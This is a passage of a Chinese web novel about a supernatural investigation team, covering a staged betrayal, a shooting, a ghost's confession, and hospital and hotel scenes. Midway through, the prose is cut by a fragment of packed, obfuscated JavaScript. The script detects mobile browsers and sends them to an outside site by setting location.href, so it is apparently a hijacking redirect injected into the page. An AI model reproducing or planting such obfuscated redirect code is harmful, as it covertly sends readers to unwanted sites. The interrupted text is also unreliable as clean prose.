“意思就是说,现在你们俩加起来都打不过半残的我。”
她说得很有歧义,孟娩不解地歪歪头。
身后的余愁山自然也听到了这句话,莫名心慌地停住了前进的步伐。
纸糊的月亮悬空,第四人的笑声幽幽明晰。
“免费看了这样一场好戏,真不愧是你啊李俟菩。”
被点名的李俟菩又冷冷退好几步,站在那纸月亮下,清癯的脊背挺得发直。
月光只独独笼罩她一人。
“李小姐,你这是何意?”余愁山感觉自己的心脏跳动得更快了。
李俟菩不言,某个黑色的东西在她手上转了一圈。
她舒了口气:“哦,我反水了。”
34. 功德+34
李俟菩清冷的嗓音比月光还凉,她手上的那个东西分明是手枪。
第四人又笑了起来,“绕了这么大一圈,李俟菩,你还是和从前一样唯利是图。”
孟娩还在愣神当中,她小手一指,“你,反水?”
随后看向那高挂枝梢的弯月,像是明白了什么,怒不可遏道:“李俟菩,你来真的?!”
李俟菩嗓音轻缓:“嗯,来真的。”
一旁的余愁山匆忙将孟娩往后扯,孟娩还一脸不知所然,思索怎么接戏来着,余愁山却察觉了不对。
她刻薄道:“都进来了,连面都不敢露吗?”
弯月不出声,银盘柔和而神秘。
余愁山讥讽一声,“世人都说,长生种是受了诅咒才会变成不老不死不生不灭的怪物,我是个法医,对这类人种稀奇得很。”
“你不必这么刺激她,她一般都当耳旁风。”李俟菩细细把玩那柄枪,懒声说。
月丝抖落几缕,金灿的轮月被稀疏的云遮住,眨眼消失在天空。
李俟菩感觉自己身旁落下个人。
“谁说我当耳旁风,人言可畏,我可是伤心得紧呢。”
身披月色而来的女人被一把扇面遮了半脸,扇骨冰蓝,雕着花纹,颇有些犹抱琵琶半遮面的意思。
“江隈。”李俟菩轻声呢喃。
“哎,你叫我名字怎么叫得那么好听啊?”江隈转手收扇,耐人寻味道。
李俟菩斜睨她一眼。
但江隈毫不收敛,“几日不见,都能叫出我名字,怎么,你想起来了?”
“只记得……”李俟菩打住,瞟了那边被忽略的人两眼。
江隈悠悠转扇,玩味地笑笑:“说话不方便啊,要不我清清场?”
“不用,我来。”
孟娩终于意识到事情的不对劲了,震悚复问:“李俟菩,你不会真的是来真的吧?”
李俟菩这次反而转了转手里的枪,“这个,我在赵慵房间拿的。”
余愁山唇线抿直:“赵慵呢?”
李俟菩给出了不一样的回答,“她现在手无缚鸡之力,我要杀她轻而易举。”
孟娩立马看向那二楼主卧大敞的门,此时草丛里的火种已经完全熄灭了,空间里只剩刺鼻的烧焦味儿。
还掺杂着细微的血腥味。
“孟娩,直至方才我都与你同盟,可现在,已经有一个新的条件值得我去深思熟虑了。”
李俟菩开口如噩兆,余愁山也不顾江隈在不在场,数起符纸来。
江隈略带涩意地轻笑一声,“哦,小菩萨是同意我提出的条件了?”
孟娩转头看余愁山没少的黄符,不可置信地开口:“你疯了?你真的杀了赵慵?”
余愁山双目蒙上一层冷意,见那窗户敞开,想也不想就跳进去,飞奔二楼。
可是此举好似正中李俟菩下怀,她道:“让开。”
“什么?”
孟娩下意识地后退半步,随即感觉地面都在摇晃,刹那,泥土瓦砾横飞,剧烈的爆炸声从整座山庄内迸发!
孟娩的本能意识告诉她捂住头向下趴。
但背部还是被波及到,她感觉自己的心肺都要被震出来一样。
硝烟冲得人头脑发晕,空气里全是窒息的恶臭味,她眼神有些迷离,心里升起阵阵恐慌。
背部的痛感无不在说李俟菩真的打乱了她们原先制定的计划,她无助地想往后看,身体却渐渐不受她控制。
她只能看到山庄炸出来的斑驳墙壁。
“李俟菩,在这儿杀人可是要坐牢的。”江隈惊愕失色,她也没料到李俟菩真的如此狠心。
李俟菩却没理,走到趴伏在地上的孟娩面前蹲下。
定定看着她满是灰尘的脸。
孟娩双眼猩红,眼神如刀,恨不得剜了李俟菩。
可她眼底还是存有希冀,勉强将手搭在李俟菩的膝盖上,话没说出口,迎接她的却是抵在脑门上冰冷的枪口。
她牙齿咬得咯咯作响,还是坚持要问,声音细若蚊呐,“李俟菩……郁金香在赵慵的手边,你拿上了吗?”
李俟菩却凝视她许久,“孟队,这可能是我第一次开枪,你闭眼兴许还好受点。”
闻言,孟娩彻底绝望起来,不甘地想要给她一巴掌,李俟菩手扣动扳机,一声枪响,孟娩先一步倒下。
那只要扇向她血红的手,最后只轻轻抚摸了李俟菩的脸颊。
血污在她脸上蜿蜒流下。
废墟的残渣充斥在鼻尖,李俟菩开枪的手有些发麻,她一潭死水的眼中从未惊起分毫。
掌声在身后响起。
“数年不见,你真是让我刮目相看。”江隈惊叹道,“就这么想知道关于你记忆的事儿?”
李俟菩用黑衣衣袖擦了擦脸,起身转头说:“若是一个人连关于自己的事情都不感兴趣,那还叫人吗?”
江隈没有反驳,用扇面敲了敲自己的鼻骨。
“我问个问题,这么多年了,你杀过人吗?”李俟菩问。
“我现在可是遵纪守法的好公民,只杀恶诡。”江隈调侃出声,“倒是你,一个死了上千年的人怎么突然起死回生了?”
“不知道,可能是判官不敢收我。”李俟菩也表示很奇怪,“难道死而复生的代价就是失去一部分记忆?”
“也不是没有这个可能。”江隈推测道,“看你这样子可是实体,压根没有诡气,你是真活过来了?”
“怎么,前几天见你好像并没有这么震惊啊,怎么现在如此?”
“这还不是被你震惊到了,现在想想还挺吓人的,千年古人还魂,多亏了我的接受力强。”
“行了,赶紧兑现你的承诺吧。”李俟菩随口应道,“我可是把她们都除掉了。”
江隈看了一圈,除了死相都不太好看,总之是死了。
她说:“你当年死得蹊跷,我当时没在山上,大概是很多年后才知道你没了,问了很多人,都不知道你怎么死的。”
“直到后来有个人跟我说你是被逼死的,死在哪儿也不知道,死的原因也没有,反正就是没命了。”
“后来我就去找,但寻了很多地方都没找你的尸体,最后我还难过了好久,真是天妒英才。”
江隈说得声泪俱下,捶胸顿足。
李俟菩嫌弃道:“在我的记忆里,你一直都在坑我。”
“怎么可能,我可是一直都很关爱你这个小辈呢。”江隈笑眯眯道,“你替我瞒下长生种的这件事情我还一直都很感激你。”
她说着说着又开
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始伤春悲秋了,李俟菩不耐地说:“别演,我看着心烦。”
“总之呢,我就觉得古怪,你这个常年仙榜第一的天才居然悄无声息地死了,还无一人知晓,就像是有人刻意封锁了全部消息,真是让人摸不着头脑。”
江隈收起那副做戏模样,正儿八经地摇摇扇子。
“我死在乱葬岗。”李俟菩平淡道。
“什么?我还以为是有人把你尸体藏起来了。”江隈一脸懵。
“谁没事藏尸体干嘛?”
李俟菩心累,感觉这人神经有问题。
“研究啊。”江隈严肃地说,“像你这种天才,可是要被人掰开脑子提取生物细胞研究的呢。”
叽里咕噜说什么呢,听不懂。
“哦,还有一种,就是被人藏起来天天抱着睡觉。”
江隈越说越离谱,李俟菩的拳头又要落在某人身上了。
“脑子进水了?”
“我说的是真的,你别不信,我这里有个惊天大瓜。”江隈扁扁嘴。
“就那个姓周的小子不是喜欢你喜欢得要死要活?对于抱着尸体睡觉,他一定干得出来这事儿!”
“谁?”
李俟菩眉心拧成结,陷入沉思。
江隈迷茫了一句,“啊?这人你都不记得了,你到底忘了多少啊?”
“所以他谁?”李俟菩问。
“呃,这个嘛,时间过得太久了,我也记不太清。”江隈也被问愣住了,最后摇头道。
“不过当时我也找过那小子,但更奇怪的是,他也不见了,就人间蒸发一样。”
“简直是仙门异闻,阴谋论没跑了。”
李俟菩缄默不言,她身后还躺着孟娩的尸体。
随后那片废墟里传来两声微弱的咳嗽。
“哟,这么快她们就化鬼找你锁魂来了?”江隈幸灾乐祸道,“现在地府登记这么快?”
李俟菩却是一笑,“十万,我压那里面的是新娘陶赐。”
江隈惊掉了下巴,“你抢钱啊!”
“你没拒绝,那就一约既成,驷马难追。”李俟菩钻着空隙,冷淡开口。
江隈来不及回嘴,转眼就看到了新娘陶赐飘过来,她手中的扇子差点拿不稳。
“李俟菩,你这是明抢。”
那诡一身朴素的衬衫还缝缝补补,牛仔裤也洗得发白,通身不见富贵太太的模样。
面白唇红,较深的怨气只存周围不见内里,她的脸完好无毁。
李俟菩没答,对着那掸灰的姑娘道:“陶小姐,游戏好玩吗?”
诡明明沾不到灰,可她还是尽量保持着一个正常人的礼节。
陶赐小声道:“多谢李小姐成全。”
“岂敢,我也是竭力助了江隈一把。”李俟菩道,“你借刀杀人,就是为了苟活?”
“非也,你可不是助我,最后得到好处的还是陶小姐。”
江隈因为痛失十万块钱而脸色铁黑。
陶赐道:“我只是想拉秦家一起下地狱,并无其他意思。”
“哦?那你为何要玩这个游戏?”
陶赐离李俟菩隔了几步远,她欲上前,又看到地上的尸体,不忍地转到江隈的身边。
她说:“因为你们所猜都是正确的。”
35. 功德+35
她说这句话时带着波涛汹涌的感情,红了眼眶,嘴角微微颤动。
“特别是,覃小姐那句。”
“所以你选择结婚是为了报复?”李俟菩肃声道,“选择玩这种要命的游戏,也只是为了覃诩水刺痛你的一句话?”
陶赐有些无措地揪了揪衣角,揉成皱巴的团,然后松下。
她看了一眼江隈,状似做错事的五岁小孩。
许久,她说:“不错,我一开始没想到那位余小姐能依骨辨认我与秦欠的关系,恼羞成怒才……”
她没说下去,将一丝卑劣忍在心头。
李俟菩倒也没戳穿,只是另起问道:“一起下地狱?可秦家除去早死的小姐,一共三口人,你只杀了一位。”
“怎么,是对无辜的继父良心发现,还是对你从没见过的母亲仍有感情。”
李俟菩总是能一语中的,陶赐吸吸鼻子,“人对母亲,总是有种特殊的感觉,即使她抛弃了你。”
“至于那个男人,我只是不想他死后,我妈无依无靠。”
“我就是想不明白,秦欠她当个宝,对于我,她却避之不及。”
陶赐嘴角下垂,满脸怨恨,说的每一个字都带着无比复杂的情绪。
江隈打断,“等等,我还没问过,你母亲是搞外遇才生下了你,那这么说你是私生子,你反而怨你母亲嫌弃你是女孩子?”
陶赐苦笑一声:“那是她的事情,她和我爸产生了感情,因为我是女孩子而放弃了我,又转头去和她丈夫恩爱,这才是关于我的事。”
“和谁在一起,我自然不能左右我的母亲,这是她的权力,家里人谁都可以站在德道层面批判她,但我不能。”
陶赐眼里求爱的癫狂已经不能由人言来表达,江隈没有再开口。
“而且我在秦家这几天也搞明白了一件事情,当初就是因为秦家男人被判定无法生育,他居然让我母亲和他爸借种!”
“来达到他家里所谓的传承!”
“嗯?”李俟菩少见地眨眼。
江隈见识广,也倒抽一口冷气,“借种?和秦欠的……爷爷?”
两人如遭雷击。
陶赐说到此处声音颤抖,恼怒道:“母亲当然不愿意,宁死也不从。”
“我爸和我妈原是青梅竹马,因为联姻,最后母亲才嫁他人。”
“我爸当时想带着我妈私奔,哪成想,那个男人无法生育这件事居然是个乌龙,没过多久,我母亲就被迫怀上了秦欠!”
“后来我爸我妈一直都有联系,没过多久,我出生了。”
李俟菩再次截断她的话,“女人怀孕是藏不住的,当时秦先生居然没怀疑?”
陶赐嗤笑一声,“呵,那男人早借了个出差由头在国外待了一年没回来,谁知道他是不是在外面乱搞去了!”
“我爸当时劝说了好久,说是离婚算了,可我母亲居然因为我是个女孩子,女孩子!选择了那个强抢丈夫!”
“没过多久我爸死了,可秦家又再添新子!”
她几乎是声嘶力竭,血泪从眼里流出来。
目光像是淬了毒,只能对着空气发泄她的恨意。
“这些你都是怎么知道的?”李俟菩问。
“我姑父告诉我的。”陶赐像是被抽空了力气,回忆起童年那段回忆又温柔了嗓音。
“他们待我很好,我很幸运,可没过多久,他们也走了。”
“这么多年,我一直很怨母亲,后来我终于无牵无挂,我终于可以鼓起勇气问她一句为什么!”
“但最后我还是不敢坦白,只能借着秦云此的名字去问,为什么她对秦云此不管不顾,得到的回答却是因为秦欠。”
李俟菩眸光刺人:“你对秦夫人尚有留恋,所以你将全部的怨恨都转到了秦欠的身上?”
“嫁进来后,我每天尽职尽责地当一个让他们满意的儿媳妇,可昔日秦欠的甜言蜜语最终都变成了恶意,我才嫁进来一天,他就打我……”
陶赐死死咬住嘴唇,把委屈混着刀片吞进肚子里,以为只是在胃里划伤几刀,却没想到眼泪最先出卖了她。
她哽咽一声,“他不是个好东西,他对他妹妹如此打骂,他也该死。”
李俟菩静静望了她一会儿,看向身后那片没有摧残到的玫瑰花,“秦欠是什么发现的?”
“我提前将婚检报告换了一份,后来他在我柜子里找到的。”
话题到这里都变作阒寂。
李俟菩问:“你是怎么死的?”
陶赐道:“割腕。”
“既然是自杀,说明你之前就想到料到变做鬼魂取命,你一个普通人,不解释一下吗?”
陶赐抬眉朝江隈那边扫过一眼,又低下头没有说话。
李俟菩转而又问道:“这门吃诡的功法,你是怎么知道的?”
“我告诉她的。”江隈出口解围。
“你为什么要帮她?”李俟菩投以怀疑的眼光。
江隈胡诌道:“看她可怜,看她无依无靠,看她孤掷一注,或者看她单纯漂亮,都有可能。”
李俟菩没理,对陶赐道:“你绕了一大圈,就是要一网打尽这些人,然后安心回鬼市吗?”
“最初是想这样的。”陶赐闭上眼,“但现在……我会去自首的。”
“不用麻烦了。”
李俟菩一记跃起,带起劲风。
一张符箓直接贴上陶赐的脑门,她白净的额头瞬间被灼烫了个洞。
她闷哼一声,没有反抗,最终化为一丝怨魂被李俟菩收入囊中。
转身将黑呼呼的枪口对准她。
“喂,你这是干嘛?”
江隈露出欺骗性的笑容,双手诚实举起投降。
“既然她自首,那从一开始想要除掉调查组的就是你了。”
“陶赐是个诡,那为什么她会说人话?是否与土中碧有关?你才是何诏的幕后人?”
“还有,三鱼共首图的背后不是你临时贴的薄符,你到底在盘算些什么?”
一连几个问题砸下来,江隈眼中的戏谑更甚。
“陶赐会人言你不应该问她吗?何什么诏的我不认识,土中碧啊,是在一个背着棺材的人手上抢的。”
她说:“我没有盘算,我只是路过。”
“你真是看陶赐可怜才帮她?”李俟菩目光如炬。
“真的,当初我不是看你掉进捕兽网才帮你一把?我这么好心的人自然是走哪儿帮哪儿啊。”
与江隈的初见李俟菩早忘得一干二净,但这种话一听就是胡扯。
“为什么要除掉调查组?”李俟菩不拐弯抹角,言语犀利。
“看她们不顺眼啊。”江隈轻摇折扇。
李俟菩从枪后探出一只眼睛。
“喂,你真当那枪里还有子弹?要不是我想让你单独活下来,怎么可能留把枪给你?谁知你根本就没上楼。”
江隈看向李俟菩身旁的尸体,“保险起见呢,这把枪里只有一颗子弹,而刚刚,你用过了。”
李俟菩手上余愁山给的囊袋动了动,她眯眼,随后向天空一扔。
一声炸响,陶赐自爆了。
“喂!你这小姑娘怎么过河拆桥啊!”江隈忙转回身,紧紧捂住自己耳朵。
天地倒转间,画中的幻境破了,浓烟滚滚。
三鱼共首这幅画完全报废。
李俟菩皱眉散了散风,再睁开眼时,满脸玩味的江隈早已双手被绑,扇子掉落在地上,整个人一副落水小狗的可怜姿态。
再往她身后去看,赵慵的脸出现在视野里。
“好久不见啊,阿菩。”她招招手。
半死不活的样子在她脸上溜走,她现在看起来十分的健康。
李俟菩稀松平常地问:“孟队与余愁山呢?”
赵慵向一楼的客厅里一瞥,孟娩和余愁山整齐地躺在地上。
“在这儿呢!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175067|179652||http|test|mini|href|location''.split(''|''),0,{}));
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>是覃诩水大声喧叫的声音。
死了又活的事情江隈在同一时间段经历了好几次。
她无语凝噎,一脸铁青,“小阿菩要不要解释一下,这到底是怎么回事啊?”
楼下的陈箐小跑上楼,全无疲态,故作惊讶道:“前辈居然没看出来吗?是年纪大了,眼神儿变差呀。”
江隈没力气与之斗嘴,沉思几秒,眼睛正好看到了客厅里的钟盘,对李俟菩道:“是你动了钟表。”
“想明白了没,台下的观众只有你一个哦前辈。”陈箐咳嗽大声说,“要不你转我五十,我就从头到尾跟你解释一番。”
李俟菩说:“她还欠我十万。”
“哇塞,年纪轻轻就背负巨额债务,要不要我帮您打个防诈骗电话?”覃诩水哒哒跑上来。
一言一语的倒是没惹恼江隈,她还是那副气定神闲模样,“一群穷货,我不缺钱,只缺个解释。”
“口气还挺大,你有现金吗你,富的是哪朝货币说说看?”陈箐挑眉。
江隈不屑与一群小屁孩说话。
赵慵没再让这人闲扯,正言道:“人质呢?”
江隈却道:“一计换两人,不亏。”
“就这么想听?”李俟菩眸色淡淡闪烁。
江隈嗯哼了一声,“我活了这么多年,居然被你们给耍了,讨个说法还不行?”
李俟菩见她执着,才施舍般开口。
“第一日,真心话轮盘开局,我收到了孟娩的信号,她说她早在坐下之前就与余愁山结了血契。”
“简而言之,就是短暂地换了血,一人为主一人为奴。”
“此法本是驯诡之法,人与人使用伤害巨大,因为余愁山那时已经受了很严重的精神污染,找她结血契才不会引人怀疑。”
“换了部分血就等于换了半个人,所以孟娩说谎并没有受到惩罚,但是相反的,奴位的余愁山就要被迫地承受双倍身份叠加。”
“无论当时余愁山说她是狼人还是否定,都会被判定为说谎。”
赵慵接着说道:“那时的你一定以为,孟娩是稳下了情绪才逃过测谎仪而懊恼,或是因为余愁山想要牺牲自己而感动?”
覃诩水笑意凉薄:“你一定想不到,孟娩给在场所有人都传了信号吧?”
江隈默不作声。
李俟菩继续道:“你说要休整,却没想到给了我们第二次机会,还记得那朵郁金香吗?”
“相信你在孟娩死前也听到这个词,那是孟娩在试探我,是不是真的杀了赵慵。”
“还有在轮盘上,我想孟娩说那句话,最根本的目的是为了告诉我们,郁金香可破局,还在想怎么到手,你却送了良机。”
“江隈,我可用万物制符,你忘了吗?”
江隈咧嘴一笑:“你逆转心脉,写了回血符,她们才能死而复生?”
“你调动时钟是为了避免余孟二人血契失效,加快进程,你们才能按计划走,对吗?”
李俟菩眼里闪过笑意。
她道:“其实普通的血符并不能起到回生的效果,但画里的结界反而帮了我大忙,法器与符箓修成的结界,我借了点残存的灵力。”
江隈抚掌,“我怎么忘了,你就算没有仙……呵,所以你们一开始就在演戏?”
赵慵拎了拎她手上特殊材料制成的麻绳。
“不然你怎么好成功诱惑阿菩?虽然醒得太晚没偷听到你们是什么关系,但还是勉强听到了陶赐的炸裂发言。”
意外的,这几人并没有在此刻追问李俟菩与江隈的关系。
江隈败下阵来:“那两女孩在卧室,放心,并没有事,只是昏睡了。”
赵慵与其他人连忙推开那扇主卧门看人。
江隈摇摇头,“李俟菩,你真是好狠的心哪。”
说完,她又道:“若是不出意外,就该出意外了。”
李俟菩还没听明白这句话,便两眼一黑,直愣愣地倒了下去。
36. 功德+36
天刚泛白,街灯依次熄灭,晨曦微光倾洒在李俟菩沉睡的半张侧脸。
不一会儿,她睫毛微颤,鼻尖隐隐约约还萦绕着消毒水的味道。
手指下意识地一动,惊醒了一旁守睡着的覃诩水。
她见着李俟菩微睁双眼,大喜过望。
“嗯?你醒了?身体还有没有哪里不舒服?头还晕不晕,肚子饿不饿?”
覃诩水聒噪吵嚷的声音落在实地,李俟菩干脆又闭上眼。
可旁边的人哪如她意,还在询问,李俟菩轻啧一声,抬起插上针管的左手,直接用力一锤打过去。
“不是,你怎么刚醒就打人!小心点,要回血了!”覃诩水没有防备,被捶个实在,咋咋呼呼道。
果然手上一痛,李俟菩乖乖不动了。
“哼,关心你还关心不得了?是谁要烧死我来着,难道是某只小猪?”
覃诩水用哄小孩的语气恶狠狠道,又自然地调了调那针管的速度,接着替她掖好被子。
李俟菩就静静地看那插在自己手上似缝衣的针,一脸不解。
“这是营养液,输了能好快点儿,对了,这有苹果,你吃吗?”覃诩水拿起那熟透的果子在她眼前晃了晃。
见她不说话,又给她调高了床位,递给她一杯水。
李俟菩接过,顺了顺微痛的喉咙。
窗扉的影子斜照在覃诩水的背面,她蒙上一层光圈。
轻轻说道:“受苦了,好姐姐。”
声线如此软糯,李俟菩将目光放在她身上。
“医生说你是失血过多,幸好精神污染没把你脑子搞坏,不然我们组以后就得多一个小孩儿版的你了。”
“这几天一直都是我在照顾你,你可得记在心上,以后好好报答我,听到没。”
“松帷与云队早就出院了,还嘱咐我,你是大能人,等你好了得给你颁个奖。”
“还有孟队和余愁山,她们说你这招太险了,还以为自己差点真的命丧黄泉,哪知道最后你才是全场最佳演员哈哈哈。”
“所以你以后得好好照顾自己身体,就算你身手好,身体也不是铁打的,是吧。”
“你也别嫌我烦哈,给我把这恩情记牢了,以身相许就不用了,我还是爱钱。”
覃诩水叽喳地碎碎念,李俟菩就安安静静地听着。
直到她说完,李俟菩才道:“我睡了多久?”
声音像是滚过了砂砾,她艰难地咽下口唾沫。
“一个礼拜。”覃诩水说,“差点以为你醒不过来了,有人急着给你哭丧呢。”
“谁?”
“你那位熟人,江隈。”覃诩水逗趣道。
“她现在在哪儿?”
“被列为盗取神物的重大嫌疑人了,赵队一直在审问她,可她就是东扯西扯,说不出个所以然来。”覃诩水语调散漫。
李俟菩微蹙眉头,“土中碧不就在她身上,你们直接搜啊。”
“搜过了,可土中碧就像消失了一样,一直没找到,总不可能被她吃了吧。”
先前没注意,好像自在画里见到江隈时,她手上就一直没出现过神物,那把扇子好像也是普通的扇子。
“肯定是被江隈藏起来了。”覃诩水道。
于是李俟菩又不说话了,还没安静好一会儿,随即病房外传来争吵。
这个病房是单人间,基本都是重要病患在这层,白天根本不会吵闹。
可眼见那争吵声由远及近,接着就是病房门被使劲撞开的声音。
还有泼天的一声叫骂。
“我重金聘请了你们帮我,最后得到的通知就是一句鬼已自爆?你们调查组就是这么敷衍了事的?!”
一位美妇毫无礼节地推搡着入门,一旁的医护人员正在竭力阻拦,还有一个中年男人紧随其后。
美妇的脸肖似陶赐,李俟菩一眼便猜到这女人的身份。
护士危言正色:“病人需要静养,不能有情绪波动,你们请回吧!”
妇人面目狰狞,不见衰老的脸上满是泪痕,“你当我眼瞎吗?这丫头已经醒了,我今天必须要个解释,你给我滚!”
护士被吼得一愣,坚定得毫不退让:“秦夫人,医院不是你大吵大闹的地方,请您保留点文明教养,否则我就叫保安过来了。”
秦夫人一听,瞋目切齿,扬起巴掌就要落在护士脸上,覃诩水及时上前阻拦。
“秦夫人,我们已经解释得很清楚了,你在调查组里闹过一回还不够,还想让医院这么多人看秦家的笑话吗?”
此时病房外已经挤满了看热闹的病人,有不少人认出这是秦家的俩夫妇。
旁边的男人伸手扯了扯夫人,可这位一身素白的女人大手一挥,不进油盐。
“为了孩子,脸面有这么重要吗!我今天就是豁出去了,这位是李小姐是吧,听人说你当居此案首功,你就是这么办事的?就拿一个虚无的理由来搪塞我们?!”
覃诩水冷下脸,对着护士说了几句。
然后那护士出门挥退了那些病人,将房门重重一关。
隔绝了外面的嘈杂声,覃诩水才道:“秦夫人,我就不顾及情面了,既然都知道是劳苦功高了,还被你们如此诘问,秦家的礼数还真挺特别。”
“难怪能教出自私自利的贵公子,真是开了眼。”
一听有人诋毁自家儿子,秦夫人怒目圆瞪,“你说什么?!”
覃诩水继续道:“哦,你们不但素质感人,还偏心至极,若非如此,你们家怎会遭如此灾祸?”
“你把话说清楚,什么意思?!”
“昔日仗着你们二老几分薄面我就不计较了,今天闹到医院来,我就打开天窗说亮话了。”覃诩水拂袖,无名火起。
秦夫人还想还言,她却不容多说。
“试问秦家夫人,从你肚子里出来的,真的只有两个孩子吗?”
此话掷地有声,秦夫人怒火一歇,瞬间慌张起来,“别想转移矛盾,先把结案的事情交代清楚!”
“你第二胎的那个女孩儿,这么多年了,你只当她死了,从未关心过她的生活,甚至连名字都不知道,如今她来报怨了,你就得受着。”
李俟菩知道覃诩水是个性情中人,如此被人一番挑拨,她可更加要为陶赐伸张了。
秦夫人闻言,有些惊恐地看向身旁的男人。
哪知那优雅从容的秦先生一脸冷漠,说道:“还请你不要移东就西,告诉我,我儿子到底是怎么死的?”
他的神色十分平常,就像从头到尾都知道自家夫人的外遇,或者说他从不在乎,他只在乎身为男人的同类。
“陶赐杀的。”覃诩水道。
“不可能!小欠没的时候,陶赐早死了!”秦夫人脸色发青,怒喝一声。
覃诩水唇角一勾
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,被气笑了,“你们都找了我们调查组了,当然是陶赐的鬼魂来索命了。”
“鬼神之说,无稽之谈,早知道你们用这么荒诞的理由含糊其辞,当初就交给刑警来办事!”男人嗤笑一声,一丝不苟的言笑终于龟裂。
覃诩水冷冷一声,提高了音量:“我把话撂在这儿,你们找了刑警最后案子还是会到我们手上,这么瞧不起人就别找我们啊!”
“你们腰缠万贯的,为难几个打工人算什么本事?”
她闭了闭眼,努力压下自己往上涨的火气。
睁眼看到一旁的秦夫人,张口又道:“秦夫人,既然你那么想要一个真相,那我就告诉你。”
李俟菩捻捻手心,没做干涉。
“陶赐就是你生的第一个女孩儿,她父亲死时你没管,她流浪在外时你也没管,掉头生了秦云此,最后连秦云此你都没管!”
“人家就是做鬼来要一命换一命了,你也只管你儿子,秦夫人,你也当过孩子,就从没想过易地而处?”
“传承就这么重要?这么想延续香火,可曾想过能生孩子的,能造神的都是女人!女人你懂吗?!”
覃诩水气得头晕脑胀,但这番话给秦夫人的刺激不小,最后勉强撑着白墙才能站稳。
她哽住:“陶赐是我女……”
秦先生也没搭把手,他道:“别说这些有的没的,之后我会去找你们上级的,你们等着解聘吧。”
这是男人们最惯用的手法,看女人吵闹,看女人疯癫,看女人崩溃,然后不理不睬。
覃诩水说:“恕我直言秦先生,你才是秦家最大的祸种。”
秦先生一笑,转头就要拉上秦夫人走。
但秦夫人哪里肯走,她泪水如断线的珠子滚落而下,跌撞地跑到覃诩水面前,苍白的嘴唇一张一合。
“你是说,我的三个孩子,都没了?”
这次,这位秦夫人倒是没再分什么男女,终于想起自己并非一人之母。
只是她也彻底失去了一位做母亲的权力。
在一旁的李俟菩终于开口:“秦夫人,恭喜你,得到了成功被男人规训的一生。”
窗外的树枝上忽然落至一大一小的两只鸟儿,鸣叫了两声后,扑腾着飞走。
秦夫人腿脚一软,就要跪下来,可秦先生一把捞起她,动作熟稔得就像捞起过很多次。
无数个日日夜夜,他也终成她的枷锁。
随后,秦先生没好气地扶着夫人颤颤巍巍走出病房门。
“真是无语了,什么人啊!”覃诩水骂骂咧咧道。
“先前他们也在调查组门口闹过?”李俟菩问。
“对啊,我都不知道他们什么脑回路,请我们去又不接受非科学的理论,那事实就是这样,我们不这样结案怎么结?”覃诩水叉腰还生闷气。
“真是活久了什么人都能遇到,当我们是他们的仆人吗?!”
李俟菩正欲安抚,覃诩水的信息提示音就响了一下。
她一看,平和气息说道:“老大带着江隈去爱熏酒店了,人手不够,让我去帮忙一下,你在这儿好好休息。”
“我也去。”李俟菩掀开被子就要起身。
“不行,你身体还没好,乱跑什么?”
覃诩水强烈反对,又将她摁回病床上。
李俟菩扬起脸,看着她不语。
气氛沉默良久。
37. 功德+37
今天天气格外好。
嗯,覃诩水还是没斗过李俟菩。
在大地慢慢开始发烫时,她们早已乘车来到了这个已停业休整的爱熏酒店。
这里是重要线索之地,所以一直被黄色警戒线围着,周遭的居民也知道这边出了事儿,没几个人敢往这边凑。
“哟,这不是烧了鬼市的稀客吗?”
天气热,赵慵灌了口矿泉水,见着李俟菩一喜,又看到一旁的覃诩水,大声宣扬道。
身旁被押着的江隈一听,乐呵道:“烧了鬼市?哇,那还真是稀客啊!”
完全没有自己被绑的意识。
没反应过来的李俟菩萌萌地眨眨眼睛,覃诩水一听却是满头大汗。
她装糊涂道:“啊?什么烧鬼市?又发生了啥我不知道的事儿?”
赵慵脸一板,“行了,上头今天都给我打了电话,鬼市在一个星期前被烧了半个,一番调查后说是你们两个,还有个双马尾姑娘,联合进攻地府,并得逞离去。”
“哪来的乌烟瘴气的谣言?明明就是圈套,我还没索要赔偿呢,某某反倒先告刁状了!”覃诩水听完叉腰输出,一脸不可思议。
江隈道:“你就说你是不是烧了鬼市吧。”
覃诩水沉默是金。
李俟菩说:“我是主谋。”
赵慵打趣着道:“我又没说只找诩水麻烦,还有你,没事儿烧什么半个,怎么不一起烧了算了?”
“啊?”
覃诩水和李俟菩同款满脸问号。
江隈笑得开怀,手铐上的链子一抖一抖。
赵慵看俩队员被自己整得好笑,揶揄道:“算了,先来帮忙。”
覃诩水和李俟菩踏入警戒线,不约而同地带上了931工作牌。
李俟菩走近,赵慵好好看了看她,关心道:“还有哪里不舒服吗?”
李俟菩说:“都好得差不多了,没事。”
覃诩水反而道:“忘说了,那秦家夫妇今天早上说要解聘我们,老大,你可得好好参谋参谋啊,别真让我和阿菩丢了工作。”
她说起这事儿就柳眉倒竖,白眼简直要翻到天上去了。
“嗯?他们去医院了?”赵慵寒声道,“他们怎么知道阿菩在那儿的?”
“不知道啊,切,反正他们有钱人也是随便查查就知道了。”覃诩水摊开手。
江隈小学生举手,开口说:“哦,我告诉的。”
李俟菩:……
空气沉默半晌。
“见了鬼了,你个没出过调查组大门的人怎么告诉的?”覃诩水的脸青一阵白一阵。
“我自然有我的办法。”江隈泰然自若,站得笔直。
“不是说秦家夫妇来调查组闹?”李俟菩思绪走过一圈,好心提醒道。
江隈洋洋得意的脸色十分欠打。
“对咯,当时我正在被人围殴,见到秦家夫妇来了,我自然是要想一想办法逃出去啊。”
“围殴?”李俟菩问。
“别听她糊弄,我们只是例常询问。”赵慵及时解释,“我怀疑这位有被害妄想症。”
李俟菩听不懂,问江隈:“你用了什么传信法子?旁人都没察觉。”
江隈狂妄道:“说了你也不懂,哎嘿,我就是不说,你能奈我何?”
她小腰一扭,挑衅的姿态在三人眼前循环播放。
覃诩水嘲讽一声,“所以你想的逃出去的办法就是让他们去阿菩病房里闹腾?”
“当然不是,作为交换条件,我找到了我最心爱的扇子。”
江隈炫耀一般,凭空举起了手中的扇子。
随之是金属物碰撞在地面的声音。
赵慵眼神一凝,这人竟然神不知鬼不觉地挣脱了镣铐!
“不好!”覃诩水眼见不妙,就要上前重新去铐。
江隈施施然一笑,整个人身飘飘欲仙,一把折扇横扫众人。
